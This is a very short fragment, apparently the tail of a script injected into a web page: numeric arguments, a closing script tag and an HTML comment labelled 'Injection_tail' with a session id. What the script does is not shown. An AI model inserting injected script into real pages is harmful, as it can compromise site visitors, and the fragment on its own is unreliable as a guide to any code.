2,5*2,4.5*2,62.5*2))</script><!--Injection_tail[SessionId=7BB0DB9F]-->
